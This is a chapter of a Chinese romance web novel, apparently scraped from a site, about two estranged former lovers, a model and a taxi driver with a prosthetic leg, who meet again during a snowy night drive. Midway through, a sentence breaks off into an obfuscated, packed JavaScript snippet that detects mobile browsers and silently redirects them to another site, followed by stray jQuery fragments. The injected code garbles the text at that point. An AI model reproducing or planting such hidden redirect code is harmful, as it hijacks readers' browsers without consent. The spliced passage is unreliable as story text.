黎无回是后来取的艺名，她本名叫黎春风。


    初次听见这个名字，是在二零一九年的圣诞节，她们的自我介绍环节来得比较迟——她说她叫邱一燃，她说她叫黎春风。


    她眨眨眼，说邱一燃这个名字很好听，因为刚刚好，她喜欢连名字都像会愿意为爱孤注一掷的女人。


    她笑得不行，说黎春风这个名字也很好听，刚刚好，她喜欢名字听起来温暖可靠的女人。


    女人笑眯了仍旧洇着醉意的狐狸眼，说原来我们从名字开始就很相配。


    春风一燃。


    不轰轰烈烈爱一场，那也太可惜了。


    “黎小姐。”


    二零二四年，雪下得似乎比那年还要大，或许曾经的邱一燃从未想过有一天自己会这样称呼这个女人。


    但这件事还是发生了。


    她阖上眼皮，不去看黎无回对此有何反应，“雪下大了，你该回去了。”


    话落，她毫不留恋地转身，双手用力地撑着拐杖往回走。


    她像个逃兵，哪怕手中唯一的武器是她窘迫混沌的根源，但除此之外她无计可施。


    “邱一燃。”


    黎无回在她身后喊她，仍旧听不出是什么语气。


    这次邱一燃并没有理会，甚至越走越急，脚边扬起的雪尘越来越多。


    但人着急了平衡就没掌握好，于是走了几步就一个踉跄，差点摔倒之际——


    雪尘飞扬，一双手牢牢地扶住了她。


    女人将手心搭在她的手背上，帮她撑住慌乱之际差点失衡的拐杖。


    而她第一感觉是触目惊心的凉，像个死去很久的人。


    但等她自己站稳之后。


    那双冰凉彻骨的手便松开了，安静地垂在腰间。


    她们都不说话，空气中只剩下呼吸声。


    没有任何一个人想要率先开口，尤其是在这个难堪的小插曲后。


    “你的假肢呢？”直到邱一燃手上残余的体温消失，黎无回才再次出了声。


    这个问题原本很亲密，适合发生在关系亲近的人之间。


    可按照她们如今对彼此生活没有任何参与度的关系，听上去就很像是质问。


    纵然黎无回故意将声音放轻了些。


    “不舒服，刚刚取了。”邱一燃垂眼，注视着自己右脚鞋尖上粘着的碎雪。


    以及黎无回两只高帮靴上粘着的雪。


    “你……”黎无回似乎是还想顺着往下说些什么。


    “我要回去了。”邱一燃打断了她的话。


    她闷着步子往前走。


    却看见刚刚争执的那一片人已经散开，有几个人被抓走，有几个围在一起看热闹的往这边走过来，嘴里似乎还在热火朝天地讨论着些什么……


    几个人中有个人指着公交站牌上的黎无回说了一句什么话，于是一伙人齐刷刷地往她们这边看了过来——


    和那伙人的目光对上，邱一燃停住脚步，下意识地返过身，想去提醒黎无回。


    却也在那时重新撞上黎无回的视线。


    黎无回模特出身，身高出众，而她也差不了几厘米。


    两个人视线总是一平齐，就像击剑运动员手中的剑那般交锋。


    “邱一燃。”大雪纷飞的夜，黎无回定定地注视着她，“你送我回去吧。”


    其实邱一燃完全不想要面对清醒的黎无回。三年前分开时她警告自己既然已经决定就不要心软，于是最后那一面几乎耗尽她所有的力气。


    她那时候没想过自己会再见到黎无回。


    雪夜因为那一伙人将黎无回认出而变得重新嘈杂起来。


    邱一燃压低声音，没有答应黎无回的要求，“有人走过来了，你快回去吧。”


    话刚落下，就听见身后嘈杂的脚步声在往这边靠近。


    黎无回显然也发现了，第一反应是倾身往邱一燃这边走过来，“你先过来。”


    而雪天路滑。


    邱一燃走路不便，走了几步差点又滑倒。霎时间她脱口而出，


    “你别过来！”


    于是黎无回真的没有走过来。


    她在离她几步远时，就像是突然想起什么，硬生生地在原地驻足。


    天旋地转间——


    邱一燃用尽力气将两边拐杖插进厚雪中，才勉强站稳。


    站稳后她短促地舒了口气。


    再抬头时，便对上那双直直盯着她，几乎要将她贯穿的眼。


    幸好，幸好。


    黎无回没有像刚刚那样过来扶她，也没有再一次像个救世主那般降临拯救她的狼狈。


    而是定在原地。


    隔着雪幕寂静地望着她，也没有问她什么。


    此刻邱一燃连脊背都在颤抖，她几乎是在用全身力气撑着两边的拐杖。


    但她莫名觉得，在这种时候，黎无回比她更像那个被沉重压着的弱者。


    窒闷的对峙没能持续太久，等那群人快走过来之际。


    黎无回才又低着脸。


    从站牌后拐去了邱一燃那辆黄色出租车停的位置，站在副驾驶车门边。


    再抬头，遥遥地望着她，像示弱，像请求，


    “邱一燃，我开不了车。”


    -


    在车上氛围比想象中安静。


    只不过上车时，黎无回看到了邱一燃之前放在副驾驶的杂志——


    封面人物是黎无回的那本杂志。


    邱一燃后悔几个小时前将它随手放在副驾驶，但如今被黎无回看到，她也只能说，


    “客人的遗留物。”


    或许是她的解释比提问还要来得快。


    黎无回听了，只是淡淡地“嗯”了一声，不知道有没有信。


    停了很久，才又说了一句，“这个采访中有人向我提起你的事。”


    邱一燃没想到黎无回会这么直截了当地说出来，毫不避讳。


    以至于她的沉默反而显得像是她在为这件事而心神不宁，“我知道。”


    “你知道？”黎无回反问，却又很快自己回答了，“你看过了。”


    “擦的时候不小心看到了。”邱一燃没否认，“客人的杂志湿了，我总要替她擦干净再还给她。”


    “那你看完了吗？”


    “擦到的地方就看了，没擦的地方就没看。”


    “你看到我说什么了？”


    “……还没有。”


    黎无回不说话了。


    车内瞬间只有雨刮器的声音在响，邱一燃以为她睡着了。


    黎无回一喝多了酒就会睡觉，不管在哪里都会直接倒头就睡，倒是不发酒疯。


    “你刚刚在楼上怎么了？”


    等车拐过路口后，黎无回的声音重新出现，却已经带了几分勉强支撑的醉意。


    邱一燃直视着前方车辆的尾灯，慢半拍地反应过来，“什么怎么了？”


    黎无回没有给她回答。


    直到碰上红灯，邱一燃才意识到对方已经许久没有动静，去看副驾驶。


    正好车停在个宽敞的路口，对远处那栋高楼上的广告位一览无遗。


    那本杂志被放在了车前。


    黎无回双手抱臂，头靠着窗，紧紧闭着眼，凌厉冷艳的五官被远处巨幅广告中闪烁的光源模糊得晦暗不明，像梦。


    远一点像梦，近一点也像梦。


    红灯停了，车灯游离。邱一燃移开目光，重新发动车，车辆驶出去。


    她听见旁边的黎无回突然吐出一个字，


    “灯。”


    什么灯？


    邱一燃差点又踩了刹车。


    然而车已经开了起来，她不敢分心再去看黎无回。


    黎无回比刚刚清醒了些，但仍旧语速缓慢，“你上去后一直没有开灯，之后过了两三分钟，你门口的感应灯突然亮了，但你屋子里的灯还是黑的……”


    邱一燃放在方向盘上的手指僵了僵。


    “邱一燃，我怕你再出事。”


    黎无回的声音再次飘过来，清晰分明地传到耳边。


    然而下一秒，那个忽远忽近的梦终于醒了。


    因为邱一燃听到她轻笑一声，用轻到不能再轻的声音，拽着人回到那个最残忍的现实，


    “可我又实在恨你。”


    邱一燃握紧手中方向盘，指关节泛着白。她还是像从她们见面起表现得那样，不看黎无回，看路，看路上的车灯。


    仿佛这世上所有的细枝末节，在她这里都比黎无回更值得关心。


    黎无回却盯紧邱一燃的侧脸。


    头部的晕沉使她视野模糊，但她还是能看清邱一燃右眼角下那颗泪痣。


    印象中她在动情时尤其喜欢亲吻这颗泪痣，因为邱一燃总会在那时落泪。


    以前——因为她从未见过如此感性的人，所以每次都会笑弯着眼捧邱一燃的脸，试图分辨出邱一燃为什么要哭。


    此刻——她们一个坐在驾驶座，一个坐在副驾驶，中间隔着游离的车灯和滞闷的空气，而她也还是试图分辨出邱一燃在想什么。


    以前——邱一燃总是将侧脸贴紧她掌心脉络，紧闭双眼始终不看她，睫毛却都被泪水打湿。


    此刻——邱一燃也始终直视前方，始终不看她一眼，睫毛被黑沉的阴影盖住。


    某种意义上，从前现在都一样——她在看她，也知道邱一燃知道她在看她。


    邱一燃很久都没有说话，郁气沉沉的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14592124|155927||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    脸被高密度的车灯切割得四分五落。


    等过了这个路口，才很轻很轻地说出一句，


    “还有一段路，你睡会吧。”


    黎无回闭上眼，笑了一声。


    看来才过去三年不到，邱一燃就已经忘了，她喝了酒直接睡觉会犯偏头痛。


    -


    等黎无回再醒来时，车就已经到了她住的酒店楼下。


    已经是很深很深的夜，路口人来人往。直到黎无回下车，邱一燃都始终维持沉默，后续都没有再开口说话。


    和她见面后，强撑着开了一路的车，邱一燃似乎是已经累极了。


    甚至等黎无回刚下车。


    她就迫不及待地开走了车，在原地扬起一片残留的雪尘，连短暂客套的告别都没有。


    黎无回倒是看了邱一燃不止一眼。


    她不知道自己到底想从邱一燃眼中看到什么。


    但再次看到她的那一瞬间，她就知道纵然过去这么久，邱一燃仍然认为当初执意要离开她的选择最正确不过。


    或许连一秒钟都从来没有过怀疑。


    邱一燃一向如此，说是一意孤行也好，倔强傲气也好。这一点还是没有变。


    尽管她现在已经是黎无回了。


    雪没有停，黎无回到酒店房间，她住的楼层很高，足以俯视整座城市。


    她没有开灯，站在窗前，看着远处高楼上自己的身影反复播映。


    她不知道邱一燃每次看到后作何感想，但她自己并没有为此感到很多开心和愉快。


    然后她打通了梦巴黎出租车公司电话。


    接通后，夜班值班接线员问她是否需要派单。她停了半晌，说，


    “我想知道车牌尾号7516的司机，是什么时候来你们公司的？她这期间一直没有离开过吗？”


    “您好，是这样的，关于司机的信息我们不能随便透露的。”大概她的语气听起来像质问，接线员瞬间紧张起来，


    “请问您是需要投诉吗？”


    “不，我不是要投诉。”


    “那您也不是需要派单……您……”接线员的语气有些踌躇，不是派单，不是投诉，她似乎感觉到黎无回的问题很私人，


    “这部分的信息我们肯定不能随便透露的。如果你想知道的话，我建议是——”


    “我是她的妻子。”黎无回截断了接线员的话，“也不可以知道吗？”


    这句话说出去。


    接线员那边许久都没说得出话来。


    黎无回突然想起这是在国内，于是又补充，


    “或许是我搞错了。”


    然后她径直挂了电话。


    然后的然后，她又打了一通过去，这次换了一个接线员，却还是得到相差无几的答案。


    电话挂断又拨通，最后又回到最初那个接线员那里。


    这次接线员沉默许久。


    叹一口气，悠悠地说，“这位客人，7516已经来我们梦巴黎开了两年车了，她做事比别人都认真，和客人也从来没闹过什么纠纷，从来没有收到过投诉，我们在给她派单前也都会向客人说明她的状况。如果您对她有什么意见的话，也可以通过电话留言告知您对她的不满之处……”


    这位接线员听起来很维护7516。


    黎无回得到自己想要的答案，说了声“谢谢”。


    接线员说7516已经来了两年。


    但实际上邱一燃却离开她三年，那还有一年时间，邱一燃又去了哪里？


    黎无回无从得知。不管是那一年，还是那三年。


    挂断电话后，黎无回的酒已经醒了一大半。


    她看到手机上显示的时间，突然想起每次邱一燃送她回到酒店的车程，总是要比她去的路程要久很多。


    而刚刚她在车上睡着时，朦胧中也吹到了不止片刻的风。


    她喝完酒从来不发酒疯，只会头晕，会想睡觉。但如果就这么直接睡过去，第二天必定会犯偏头痛。


    于是每一次她醉了酒。


    不管是冬还是夏，邱一燃都不让她入睡到第二天，哪怕她困得不行了，也一定要带她都兜几圈风，夏天热就把车窗开大一些，冬天冷就开条小缝，稍微吹一吹帮她醒酒。


    每一次，她也一定要这样才能醒酒，才能在第二天睡醒后好过一些。


    黎无回站在黑暗中，忽然想起自己带着刺说完那句“恨”再睡过去后——


    期间几次晕晕沉沉地睁眼，都看见邱一燃那边车窗外和酒店附近相差甚远的街景……


    以及在下车后，从车窗敞开缝隙中瞥见的，邱一燃苍白脆弱的侧脸。


    邱一燃还是带她醒了酒。或许连这一点也从来都没有变。